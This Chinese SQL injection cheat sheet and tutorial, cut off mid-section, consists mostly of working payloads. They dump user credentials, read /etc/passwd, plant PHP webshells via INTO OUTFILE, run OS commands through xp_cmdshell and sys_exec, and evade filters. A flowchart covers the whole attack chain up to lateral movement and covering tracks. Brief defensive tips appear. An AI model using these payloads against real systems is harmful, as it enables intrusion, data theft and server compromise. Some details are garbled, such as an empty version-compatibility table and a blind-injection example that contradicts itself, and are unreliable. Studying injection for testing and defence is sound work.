SQL注入

基础知识

SQL注入关键词手册

1. 基础探测关键词

1.1 单引号测试
1
2
3
-- 测试是否存在注入点
?id=1' --+
?id=1' and '1'='1
1.2 注释符
1
2
3
4
5
6
7
8
9
-- MySQL注释
?id=1' --+
?id=1' #

-- MSSQL注释
?id=1' --

-- Oracle注释
?id=1' --
1.3 逻辑测试
1
2
3
4
5
6
7
-- 数字型测试
?id=1 and 1=1
?id=1 and 1=2

-- 字符型测试
?id=1' and '1'='1
?id=1' and '1'='2

2. 信息收集关键词

2.1 ORDER BY
1
2
3
-- 确定列数
?id=1' order by 3--+
?id=1' order by 4--+ -- 如果报错,说明只有3列
2.2 UNION SELECT
1
2
3
-- 获取数据库信息
?id=-1' union select 1,2,3--+
?id=-1' union select 1,database(),version()--+
2.3 GROUP_CONCAT
1
2
3
4
5
-- 获取所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

-- 获取所有列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

3. 常用函数

3.1 版本信息
1
2
3
-- 获取版本信息
?id=1' and @@version like '5%'--+
?id=1' and version() like '5%'--+
3.2 数据库信息
1
2
3
-- 获取当前数据库
?id=1' and database()='security'--+
?id=1' and @@datadir='/var/lib/mysql/'--+
3.3 用户信息
1
2
3
-- 获取当前用户
?id=1' and user()='root@localhost'--+
?id=1' and @@hostname='webserver'--+

4. 绕过过滤技巧

4.1 大小写混合
1
2
3
-- 绕过大小写过滤
?id=1' UniOn SeLeCt 1,2,3--+
?id=1' sElEcT * FrOm users--+
4.2 内联注释
1
2
3
-- 使用内联注释绕过
?id=1' /*!UNION*/ SELECT 1,2,3--+
?id=1' /*!50000UNION*/ SELECT 1,2,3--+
4.3 十六进制编码
1
2
3
-- 使用十六进制绕过
?id=1' union select 1,0x61646d696e,3--+
?id=1' and username=0x61646d696e--+

5. 盲注关键词

5.1 时间盲注
1
2
3
-- 基于时间的盲注
?id=1' and if(1=1,sleep(5),0)--+
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+
5.2 布尔盲注
1
2
3
-- 基于布尔的盲注
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))>100--+

6. 文件操作关键词

6.1 读取文件
1
2
3
-- 读取系统文件
?id=1' union select 1,load_file('/etc/passwd'),3--+
?id=1' union select 1,load_file(0x2f6574632f706173737764),3--+
6.2 写入文件
1
2
3
-- 写入Webshell
?id=1' union select 1,'<?php system($_GET[cmd]);?>',3 into outfile '/var/www/shell.php'--+
?id=1' union select 1,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e,3 into outfile '/var/www/shell.php'--+

7. 防御建议

  1. 使用预处理语句

    1
    2
    3
    $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
  2. 输入验证和过滤

    1
    2
    3
    if (!is_numeric($id)) {
    die("Invalid input");
    }
  3. 最小化数据库权限

    1
    GRANT SELECT ON database.* TO 'webuser'@'localhost';
  4. 错误信息处理

    1
    2
    error_reporting(0);
    ini_set('display_errors', 0);
  5. 使用WAF规则

    1
    2
    3
    4
    location / {
    ModSecurityEnabled on;
    ModSecurityConfig modsecurity.conf;
    }

基础SQL注入语句大全

一、注入点探测语句

1
2
3
4
5
6
7
8
1. 单引号测试:' 
2. 逻辑测试:
' AND 1=1 -- 恒真条件
' AND 1=2 -- 恒假条件
3. 注释符测试:
MySQL: ' --+
MSSQL: ' --
Oracle: ' --

二、联合查询注入(UNION-Based)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. 确定字段数(二分法):
' ORDER BY 5--+

2. 验证回显位置:
' UNION SELECT 1,2,3--+

3. 获取数据库信息:
' UNION SELECT version(),user(),database()--+

4. 获取所有数据库名(MySQL):
' UNION SELECT 1,group_concat(schema_name),3
FROM information_schema.schemata--+

5. 获取所有数据库名(MySQL):
' UNION SELECT 1,GROUP_CONCAT(schema_name),3
FROM information_schema.schemata--+

6. 获取指定数据库的表名:
' UNION SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables
WHERE table_schema='testdb'--+

7. 获取表的列名:
' UNION SELECT 1,GROUP_CONCAT(column_name),3
FROM information_schema.columns
WHERE table_name='users'--+

8. 拖取整张表数据:
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3
FROM users--+
-- 输出格式:admin:123456,user:qwerty

三、报错注入(Error-Based)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. MySQL报错:
' AND updatexml(1,concat(0x7e,version()),1)--+

2. MSSQL报错:
' AND 1=convert(int,(SELECT @@version))--

3. Oracle报错:
' AND 1=ctxsys.drithsx.sn(1,(SELECT user FROM dual))--+

4. 通用payload:
' OR (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand()*2))x
FROM information_schema.tables GROUP BY x)a)--+

5. MySQL报错获取数据:
' AND updatexml(1,concat(0x7e,
(SELECT GROUP_CONCAT(user,0x3a,password) FROM users)),1)--+

6. 嵌套使用(多级查询):
' OR (SELECT 1 FROM (SELECT
GROUP_CONCAT(table_name) FROM information_schema.tables)x)--+

四、布尔盲注(Boolean-Based)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 基础判断:
' AND 1=1 -- 返回正常
' AND 1=2 -- 返回异常

2. 猜解数据长度:
' AND length(database())=5 --+

3. 逐位猜解字符(ASCII码):
' AND ascii(substr(database(),1,1))>100 --+

4. 判断表是否存在:
' AND (SELECT count(*) FROM information_schema.tables
WHERE table_schema=database() AND table_name='users')=1 --+

5. 布尔盲注猜解表名:
' AND (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables
WHERE table_schema=database()) LIKE '%user%'--+

五、时间盲注(Time-Based)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. MySQL延时:
' AND IF(1=1,SLEEP(5),0)--+

2. MSSQL延时:
'; WAITFOR DELAY '0:0:5' --

3. Oracle延时:
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 --+

4. 带条件延时:
' AND IF(ascii(substr(user(),1,1))>100,SLEEP(5),0)--+

5. 时间盲注批量获取:
' AND IF(ASCII(SUBSTR(
(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns
WHERE table_name='users'),1,1))>100,SLEEP(5),0)--+

六、文件操作语句

1
2
3
4
5
6
7
8
9
1. 读取文件(MySQL):
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--+

2. 写webshell(需写权限):
' UNION SELECT "<?php @eval($_POST[cmd]);?>",2,3
INTO OUTFILE '/var/www/shell.php'--+

3. MSSQL文件操作:
'; EXEC master..xp_cmdshell 'dir C:\' --

七、系统命令执行

1
2
3
4
5
6
7
8
9
10
1. MySQL(需FILE权限):
' UNION SELECT 1,(sys_exec('whoami')),3--+

2. MSSQL:
'; EXEC xp_cmdshell 'net user' --

3. PostgreSQL:
'; DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';--

八、信息收集语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. 获取数据库版本:
@@version (MSSQL/MySQL)
SELECT banner FROM v$version (Oracle)

2. 获取当前用户:
user() -- MySQL
current_user() -- PostgreSQL
SYSTEM_USER -- MSSQL

3. 获取所有数据库:
SELECT schema_name FROM information_schema.schemata (MySQL)
SELECT name FROM master..sysdatabases (MSSQL)

4. 获取表名:
SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1

5. 获取列名:
SELECT column_name FROM information_schema.columns
WHERE table_name='users' LIMIT 0,1

九、绕过过滤技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1. 大小写混合:
' UniOn SelEct 1,2,3--+

2. 内联注释(MySQL):
' /*!UNION*/ SELECT 1,2,3--+

3. 十六进制编码:
' UNION SELECT 0x313032,2,3--+

4. 双写绕过:
' UNIUNIONON SELESELECTCT 1,2,3--+

5. 空字节绕过:
' \0UNION\0SELECT\0 1,2,3--+

6. 内联注释绕过:
' UNION SELECT 1,/*!GROUP_CONCAT*/(schema_name),3
FROM information_schema.schemata--+

7. 空白符分割:
' UNION%0BSELECT%0B1,GROUP%0D%0A_CONCAT(table_name),3
FROM%09information_schema.tables--+

8. 大小写混合:
' UniOn SelEct 1,gRoUp_CoNcAt(table_name),3
FrOm information_schema.tables--+

十、跨数据库语法对比(group_concat)

1
2
3
4
5
6
7
8
9
10
11
12
13
1. PostgreSQL (STRING_AGG):
' UNION SELECT 1,STRING_AGG(table_name,','),3
FROM information_schema.tables--+

2. MSSQL (STUFF + FOR XML PATH):
';SELECT STUFF(
(SELECT ','+name FROM sys.databases
FOR XML PATH('')),1,1,'')--

3. Oracle (LISTAGG):
' UNION SELECT 1,LISTAGG(table_name,',')
WITHIN GROUP (ORDER BY table_name),3
FROM all_tables--+

漏洞分析

SQL注入漏洞判断与类型分析

SQL注入是一种常见的Web安全漏洞,通常出现在动态网页的URL中,尤其是带有参数的URL,例如:http://xxx.xxx.xxx/abcd.php?id=XX。本文将介绍如何判断是否存在SQL注入漏洞,以及如何确定SQL注入的类型(数字型或字符型)。以下内容适用于ASP、PHP、JSP等动态网页,特别是那些访问数据库但未进行充分输入过滤的页面。

1. 判断是否存在SQL注入漏洞

SQL注入漏洞的核心在于用户输入未被正确过滤,导致恶意SQL语句被执行。以下是最经典的判断方法:

单引号判断法

操作步骤
在URL参数后添加单引号('),例如:

1
http://xxx/abc.php?id=1'

判断依据

  1. 如果页面返回数据库错误(如SQL语法错误),则说明存在SQL注入漏洞。
  2. 原因:无论是整型参数还是字符型参数,单引号会导致SQL语句语法错误(如引号不匹配),从而触发错误信息。

注意事项

如果页面未报错,不一定表示没有SQL注入漏洞,可能存在过滤机制(如对单引号转义)。此时可尝试其他方法(如逻辑判断语句)。

2. 判断SQL注入漏洞的类型

SQL注入漏洞通常分为两种类型:数字型字符型。这些类型取决于数据库表中字段的数据类型(整型或字符串型)。以下是具体的判断方法。

2.1 数字型SQL注入
典型场景

当URL参数为整型时,SQL语句通常如下:

1
SELECT * FROM <表名> WHERE id = x
判断方法

使用逻辑语句 and 1=1and 1=2 进行测试:

测试1

1
http://xxx/abc.php?id=x and 1=1

结果:页面运行正常,说明SQL语句被正确执行。

测试2

1
http://xxx/abc.php?id=x and 1=2

结果:页面运行错误,说明为数字型注入。

原因分析

输入 and 1=1

1
SELECT * FROM <表名> WHERE id = x AND 1=1

语法正确,逻辑判断为真,返回正常。

输入 and 1=2

1
SELECT * FROM <表名> WHERE id = x AND 1=2

语法正确,但逻辑判断为假,返回错误。

假设验证
如果是字符型注入,SQL语句会将 and 1=1 视为字符串:

1
SELECT * FROM <表名> WHERE id = 'x and 1=1'

此时不会进行逻辑判断,页面表现与数字型不同,因此假设不成立。

2.2 字符型SQL注入
典型场景

当URL参数为字符串型时,SQL语句通常如下:

1
SELECT * FROM <表名> WHERE id = 'x'
判断方法

使用逻辑语句 and '1'='1'and '1'='2' 进行测试:

测试1

1
http://xxx/abc.php?id=x' and '1'='1

结果:页面运行正常,说明SQL语句被正确执行。

测试2

1
http://xxx/abc.php?id=x' and '1'='2

结果:页面运行错误,说明为字符型注入。

原因分析

输入 and ‘1’=’1’:

1
SELECT * FROM <表名> WHERE id = 'x' AND '1'='1'

语法正确,逻辑判断为真,返回正常。

输入 and ‘1’=’2’:

1
SELECT * FROM <表名> WHERE id = 'x' AND '1'='2'

语法正确,但逻辑判断为假,返回错误。

假设验证
如果是数字型注入,单引号会导致语法错误(如 id = x' and '1'='1),页面会直接报错,而非逻辑错误。

总结

是否存在SQL注入:通过单引号判断法快速检测,若页面返回数据库错误,则可能存在漏洞。

注入类型

数字型:通过 and 1=1and 1=2 判断,逻辑变化反映参数为整型。

字符型:通过 and '1'='1'and '1'='2' 判断,逻辑变化反映参数为字符串型。

注意:实际环境中,程序员可能对输入进行过滤,导致单引号或逻辑语句被屏蔽。需结合其他技术(如盲注)进一步测试。

如何判断SQL注入点

以下是系统性的注入点判断方法和操作步骤:

1. 识别输入点

检测位置

URL查询参数(如?id=1

表单输入字段(登录框/搜索框)

HTTP头部(Cookie/User-Agent/Referer)

REST API参数(JSON/XML数据)

2. 初步探测

(1)单引号测试
1
http://example.com/?id=1'

预期结果:

数据库错误(如MySQL的”语法错误”)

500服务器错误

页面布局异常

(2)逻辑测试
1
2
3
正常情况:http://example.com/?id=1
恒真条件:http://example.com/?id=1' AND '1'='1
恒假条件:http://example.com/?id=1' AND '1'='2

对比观察:

恒真条件返回正常页面

恒假条件返回空白/错误页面

3. 参数类型判断

(1)数字型参数
1
2
原始请求:http://example.com/?id=1
修改为:http://example.com/?id=1+1

判断依据:

若返回id=2的结果则为数字型

支持运算表达式(如3-2/5*1)

(2)字符型参数
1
2
原始请求:http://example.com/?id=user
修改为:http://example.com/?id=user'||'test

判断依据:

返回usertest相关结果

需要闭合引号(’或”)

4. 注释符验证

1
2
3
MySQL:--+ 或 #
MSSQL:--
Oracle:--

测试用例

1
2
http://example.com/?id=1'--+
http://example.com/?id=1' ORDER BY 3#

5. 盲注检测

(1)布尔型检测
1
2
正常:http://example.com/?id=1' AND 1=1--+
异常:http://example.com/?id=1' AND 1=2--+

判断方法:

对比两个请求的响应差异

检查页面元素/内容长度变化

(2)时间型检测
1
2
MySQL:http://example.com/?id=1' AND SLEEP(5)--+
MSSQL:http://example.com/?id=1'; WAITFOR DELAY '0:0:5'--

判断标准:响应时间显著增加(≥5秒)

6. 过滤规则测试

(1)关键字绕过
1
2
大小写混合:hTtp://example.com/?id=1' uNIoN sELecT 1,2,3--+
内联注释:http://example.com/?id=1'/*!UNION*/SELECT 1,2,3--+
(2)特殊字符绕过
1
2
URL编码:%27 → ',%20 → 空格
双重编码:%2527 → ',%253C → <

7. 联合查询验证

1
2
3
4
5
步骤1:确定字段数
http://example.com/?id=1' ORDER BY 5--+

步骤2:验证回显位置
http://example.com/?id=-1' UNION SELECT 1,2,3--+

成功标志:

页面显示数字2或3的位置

可在数字位插入SQL函数测试(如version())

8. 工具辅助验证

1
2
使用sqlmap检测:
sqlmap -u "http://example.com/?id=1" --batch --level=3

关键输出:

存在可注入参数标识

数据库类型确认

Snipaste_2025-04-19_12-48-05

1
2
3
4
5
6
7
8
9
10
11
12
13
graph TD
A[开始] --> B{识别输入点}
B --> |成功| C[单引号测试]
B --> |失败| Z[结束]
C --> D{是否报错}
D --> |是| E[确认字符型注入]
D --> |否| F[逻辑测试]
F --> G{页面变化}
G --> |有差异| H[存在注入漏洞]
G --> |无差异| I[尝试盲注测试]
I --> J{时间延迟/布尔结果}
J --> |存在差异| H
J --> |无差异| Z

SQL注入完整攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
graph TD
A[开始] --> B{目标识别}
B -->|Web应用| C[注入点探测]
C --> D[参数篡改测试]
D --> E{是否报错?}
E -->|是| F[确定注入类型]
E -->|否| G[盲注检测]
G --> H{页面差异/延迟?}
H -->|是| I[确认盲注存在]
H -->|否| J[结束检测]

F --> K[字符型/数字型判断]
K --> L{是否有回显?}
L -->|是| M[联合查询注入]
L -->|否| N[选择注入方式]
N --> O[报错注入]
N --> P[布尔盲注]
N --> Q[时间盲注]

M --> R[字段数探测]
R --> S[确定显示位]
S --> T[获取数据库信息]
T --> U[数据库版本/用户]
U --> V[爆库名]

P --> W[构造布尔表达式]
W --> X[逐位数据猜测]
Q --> Y[构造时间延迟]
Y --> Z[基于响应的推断]

O --> AA[触发报错函数]
AA --> AB[提取错误信息]

V --> AC[爆表名]
AC --> AD[爆列名]
AD --> AE[拖取数据]

AE --> AF{权限提升?}
AF -->|是| AG[系统命令执行]
AF -->|否| AH[数据导出]

AG --> AI[数据库提权]
AI --> AJ[OS交互]
AJ --> AK[横向移动]

AH --> AL[数据整理分析]
AK --> AL
AL --> AM[清理痕迹]
AM --> AN[攻击完成]

style C fill:#f9f,stroke:#333
style I fill:#bbf,stroke:#555
style T fill:#f96,stroke:#900
style AE fill:#6f9,stroke:#090
style AG fill:#f99,stroke:#c00

Snipaste_2025-04-19_12-51-46

Snipaste_2025-04-19_12-52-13

流程图说明

目标识别:确定存在数据库交互的Web应用

注入点探测

测试URL参数/表单输入

添加'"\等特殊字符

错误判断

直接报错:快速确认注入类型

无报错:进入盲注检测流程

注入方式选择

联合查询注入(有回显)

1
UNION SELECT 1,@@version,3

报错注入(显示错误信息)

1
AND updatexml(1,concat(0x7e,version()),1)

布尔盲注(页面内容差异)

1
AND ascii(substr(database(),1,1))>100

时间盲注(响应延迟)

1
AND IF(1=1,SLEEP(5),0)

信息收集阶段

获取数据库版本:@@version

列出数据库:information_schema.schemata

爆表名:information_schema.tables

爆列名:information_schema.columns

数据提取

常规数据获取:

1
UNION SELECT user,password FROM users

大段数据获取:

1
2
#用于从服务器文件系统中读取指定文件的内容,并以字符串形式返回
LOAD_FILE('/etc/passwd')

权限提升

数据库写文件:

1
2
#可以将查询结果写入服务器上的文件中
INTO OUTFILE '/var/www/shell.php'

执行系统命令:

1
2
3
4
#在 MySQL 中,默认情况下并不提供类似 MSSQL 的 xp_cmdshell 功能来直接执行系统命令。 可以通过安装用户自定义函数(UDF)来实现类似的功能。
MSSQL: xp_cmdshell('whoami')
#sys_exec() 是由第三方插件 lib_mysqludf_sys 提供的函数,允许在 MySQL 中执行系统命令
MySQL: sys_exec()

横向移动

内网扫描

密码爆破

漏洞利用

SQL 报错注入详解

什么是报错注入

报错注入(Error-based SQL Injection)是一种利用数据库错误信息来获取数据的 SQL 注入技术。当应用程序没有正确处理数据库错误时,攻击者可以通过构造特殊的 SQL 语句,使数据库返回错误信息,这些错误信息中可能包含敏感数据。

主要报错注入方法

1. 基于 floor() 的报错注入

利用 floor(rand(0)*2) 配合 count()group by 触发主键重复错误。当使用 rand() 函数时,每次查询都会产生不同的随机数,而 group by 需要确定的值,这就导致了主键冲突。

版本和配置影响

MySQL 版本影响

MySQL 5.7.5 以下版本:floor() 报错注入通常有效

MySQL 5.7.5 及以上版本:由于 rand() 函数改进,可能不会触发错误

MySQL 8.0:完全重构了随机数生成器,floor() 报错注入基本失效

配置影响

1
2
3
4
5
### 查看当前 sql_mode 设置
select @@sql_mode;

### 查看是否启用了严格模式
show variables like 'sql_mode';

如果启用了 STRICT_TRANS_TABLESSTRICT_ALL_TABLES,可能影响错误触发

某些安全配置可能限制错误信息显示

替代方案

1
2
3
4
5
6
7
8
9
10
### 如果 floor() 方法失效,可以尝试其他报错注入方法

### 使用 extractvalue()
and extractvalue(1,concat(0x7e,(select user()),0x7e))

### 使用 updatexml()
and updatexml(1,concat(0x7e,(select user()),0x7e),1)

### 使用 exp()
and exp(~(select * from (select user())a))

更可靠的示例

1
2
3
4
5
6
7
8
9
10
11
### 方法1:使用 information_schema.tables 表(数据量较大)
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

### 方法2:使用 union 和子查询
and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))

### 方法3:使用多表连接
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables a,information_schema.tables b group by x)c)

### 方法4:使用 having 子句
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x having count(*)>1)a)

适用于 MySQL 5.7.5 以下版本

可以获取任意数据

构造相对复杂

需要足够的数据量才能触发错误

受 MySQL 版本和配置影响较大

2. 基于 extractvalue() 的报错注入

extractvalue() 是 MySQL 的 XML 处理函数,用于从 XML 字符串中提取值。当 XML 格式不正确时,会返回错误信息,我们可以利用这个特性来获取数据。

1
and extractvalue(1,concat(0x7e,(select user()),0x7e))

构造简单

返回数据长度有限制(最多32个字符)

适用于 MySQL 5.1.5 及以上版本

处理超过32个字符的方法

  1. 使用 substr() 函数分段获取

    1
    2
    3
    4
    5
    6
    7
    8
    ### 获取前32个字符
    and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e))

    ### 获取接下来的32个字符
    and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),33,32),0x7e))

    ### 获取最后的部分
    and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),65,32),0x7e))
  2. 使用 mid() 函数分段获取

    1
    2
    3
    4
    5
    ### 获取前32个字符
    and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e),1)

    ### 获取接下来的32个字符
    and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),33,32),0x7e),1)
  3. 使用 limit 分页获取

    1
    2
    3
    4
    5
    ### 获取第一行数据
    and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e))

    ### 获取第二行数据
    and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 1,1),0x7e))
  4. 使用 concat_ws() 函数处理长数据

    1
    2
    ### 使用分隔符连接数据,便于分段获取
    and updatexml(1,concat(0x7e,(select concat_ws('|',id,username,password) from users limit 0,1),0x7e),1)
  5. 使用 hex() 函数处理二进制数据

    1
    2
    ### 将二进制数据转换为十六进制,避免特殊字符问题
    and extractvalue(1,concat(0x7e,hex((select password from users limit 0,1)),0x7e))
  6. 使用 group_concat() 配合 substr()

    1
    2
    ### 获取所有表名,每32个字符一段
    and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)
  7. 使用 case when 条件判断

    1
    2
    ### 通过条件判断逐个字符获取
    and updatexml(1,concat(0x7e,(select case when substr(password,1,1)='a' then 'a' else 'b' end from users limit 0,1),0x7e),1)
  8. 使用 if() 函数配合 substr()

    1
    2
    ### 判断特定位置的字符
    and extractvalue(1,concat(0x7e,(select if(substr(password,1,1)='a','yes','no') from users limit 0,1),0x7e))

使用 substr() 函数分段获取

使用 mid() 函数分段获取

使用 limit 分页获取

使用 concat_ws() 函数处理长数据

使用 hex() 函数处理二进制数据

使用 group_concat() 配合 substr()

使用 case when 条件判断

使用 if() 函数配合 substr()

这些方法各有特点:

前两种方法适合获取连续的长文本

第三种方法适合获取多行数据

第四种方法适合处理结构化数据

第五种方法适合处理二进制数据

最后三种方法适合精确获取特定字符

3. 基于 updatexml() 的报错注入

updatexml() 也是 MySQL 的 XML 处理函数,用于更新 XML 文档。当 XML 格式不正确时,同样会返回错误信息。

1
and updatexml(1,concat(0x7e,(select user()),0x7e),1)

构造简单

返回数据长度有限制(最多32个字符)

适用于 MySQL 5.1.5 及以上版本

其他报错注入方法

除了上述三种主要方法外,还有其他一些报错注入方法:

  1. 基于 exp() 的报错注入
  2. 基于 bigint 溢出的报错注入
  3. 基于 geometrycollection() 的报错注入
  4. 基于 multipoint() 的报错注入
  5. 基于 polygon() 的报错注入
  6. 基于 multipolygon() 的报错注入
  7. 基于 linestring() 的报错注入
  8. 基于 multilinestring() 的报错注入
  9. 基于 name_const() 的报错注入

MySQL 版本兼容性对比

报错注入方法MySQL 5.0MySQL 5.1MySQL 5.5MySQL 5.6MySQL 5.7MySQL 8.0
floor()
extractvalue()
updatexml()
exp()
bigint
geometry
name_const

使用建议

  1. 优先使用 floor() 方法,因为它的兼容性最好
  2. 如果 floor() 方法失败,可以尝试 extractvalue() 或 updatexml()
  3. 注意不同版本 MySQL 对某些方法的限制
  4. 在实际测试中,建议先确定数据库版本,再选择合适的报错注入方法

防御建议

  1. 关闭错误信息显示
  2. 使用参数化查询
  3. 对用户输入进行严格的过滤和验证
  4. 使用最小权限原则
  5. 定期更新数据库版本

盲注技术

布尔盲注原理

布尔盲注(Boolean-based Blind SQL Injection)是一种 SQL 注入攻击技术,利用数据库查询的布尔逻辑(真/假)来推断数据库中的数据。它适用于无法直接看到查询结果的场景,例如页面只返回“成功”或“失败”等简单状态。以下是布尔盲注的原理、步骤和示例。


原理

布尔盲注的核心思想是通过构造特定的 SQL 注入语句,观察应用程序的响应是否发生变化(例如页面内容、状态码或响应时间),从而推断数据库中的数据。攻击者通过逐位或逐字符猜测数据,利用布尔条件(真/假)来确认猜测是否正确。

关键点:

  1. 数据库查询的返回值会影响应用程序的行为(例如页面是否显示正常)。
  2. 攻击者通过注入条件语句(如 AND 1=1 或 AND ASCII(SUBSTR(…)) > 65),观察响应变化来推断数据。
  3. 通常需要多次请求,逐一测试每个字符或位的值。

步骤

确认注入点:

找到一个可以注入 SQL 语句的参数(例如 URL 参数、表单输入等)。

测试注入点是否支持布尔逻辑,例如:

1
2
3
id=1 AND 1=1  -- 返回正常页面 

id=1 AND 1=2 -- 返回异常页面(如错误或空白)

如果响应不同,说明存在布尔盲注的可能性。

确定查询逻辑:

通过注入布尔条件,观察页面响应是否变化。例如:

1
2
3
id=1 AND (SELECT 1)=1  -- 页面正常 

id=1 AND (SELECT 1)=2 -- 页面异常

确认可以通过布尔条件控制页面行为。

推断数据:

使用条件语句逐一猜测数据库中的数据,通常结合以下函数:

SUBSTR 或 SUBSTRING:提取字符串的子串。

ASCII 或 CHAR:将字符转换为 ASCII 值或反之。

LENGTH:获取字符串长度。

>, <, =:比较值。

示例:推断数据库版本的第一个字符:

id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 65

如果页面正常,说明第一个字符的 ASCII 值大于 65(即大于 ‘A’)。

继续调整比较值(如 > 66, = 66),缩小范围,直到确定具体字符。

自动化或手动枚举:

手动测试效率低,通常使用二分法或自动化工具(如 Burp Suite、SQLMap)来加速猜测。

例如,通过二分法确定 ASCII 值:

1
2
id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 100  -- 正常 
id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 110 -- 异常

说明 ASCII 值在 100 到 110 之间,继续细分。

提取完整数据:

重复上述步骤,逐位提取字符串(如表名、列名、数据内容)。

例如,提取整个数据库版本字符串需要循环测试每个位置的字符。


示例

假设有一个 Web 应用,URL 为:

1
http://10.16.2.3:8081/Less-8?id=1

目标是提取数据库的版本信息(@@version)。

测试注入点:

1
2
3
4
5
6
http://10.16.2.3:8081/Less-8?id=1 AND 1=1
*页面正常显示。*

http://10.16.2.3:8081/Less-8?id=1 AND 1=2
*页面显示错误或空白。*
*确认存在布尔盲注漏洞。*

确定版本字符串长度:

1
2
3
`http://10.16.2.3:8081/Less-8?id=1 AND LENGTH((SELECT @@version)) = 10`
*页面正常,说明版本字符串长度为 10*
*如果不正常,尝试其他长度(如 911)。*

提取第一个字符:

1
2
3
4
5
6
http://10.16.2.3:8081/Less-8?id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 65
*页面正常,说明第一个字符的 ASCII 值大于 65*

http://10.16.2.3:8081/Less-8?id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) = 77
*页面正常,说明第一个字符的 ASCII 值是 77(即 'M')。*
*确认第一个字符为 'M'*

提取后续字符:

重复步骤,测试 SUBSTR((SELECT @@version), 2, 1)、 SUBSTR((SELECT @@version), 3, 1) 等。

最终可能提取到版本字符串,如 Microsoft SQL Server。


特点与难点

特点:

不需要直接看到查询结果,适合“盲”场景。

依赖应用程序的响应差异(页面内容、HTTP 状态码等)。

可以通过自动化工具高效执行。

难点:

需要多次请求,效率较低(尤其手动测试时)。

响应差异可能微妙(如仅文本变化),需要仔细分析。

可能受限于网络延迟或应用程序的防御机制(如 WAF)。

布尔盲注过程

基本过程

注入点检测

找到一个可以进行注入的参数位置,通常通过简单的测试 1=1(始终为真)和 1=2(始终为假)的情况观察响应的变化。例如:

1
2
http://example.com/item?id=1 AND 1=1   --> 页面正常显示
http://example.com/item?id=1 AND 1=2 --> 页面异常或不同

如果响应页面存在显著差异,说明该参数存在布尔盲注的可能性。


推测数据结构

使用逐步的逻辑表达式查询数据库元信息:

1
2
#推测当前使用的数据库:
id=1 AND DATABASE() LIKE 'test%'

判断当前数据库名是否以 test 开头。

1
2
#获取数据库长度:
id=1 AND LENGTH(DATABASE())=4

判断当前数据库名是否为 4 个字符 ,可以写成循环来判断。

1
2
3
4
5
#字符逐个推测: 假设数据库名长度为 4,逐字符尝试:
id=1 AND SUBSTRING(DATABASE(), 1, 1)='t' --> 第一个字符是否是 't'
id=1 AND SUBSTRING(DATABASE(), 2, 1)='e' --> 第二个字符是否是 'e'
id=1 AND SUBSTRING(DATABASE(), 3, 1)='s' --> 第三个字符是否是 's'
id=1 AND SUBSTRING(DATABASE(), 4, 1)='t' --> 第四个字符是否是 't'

获取表名 使用 information_schema.tables 推测表名:

1
2
#获取表的数量:
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=5

判断当前数据库中是否有 5 个表,可以写成循环来判断。

1
2
#获取表名长度:
id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=6

判断第一个表的名称长度为 6,可以写成循环来判断。

1
2
#推测表名字符:
id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='u'

获取字段名

使用 information_schema.columns 获取字段名:

1
2
#获取字段数量:
id=1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')=3

判断表 users 中是否有 3 个字段,可以写成循环来判断。

1
2
#获取字段名长度,可以写成循环来判断:
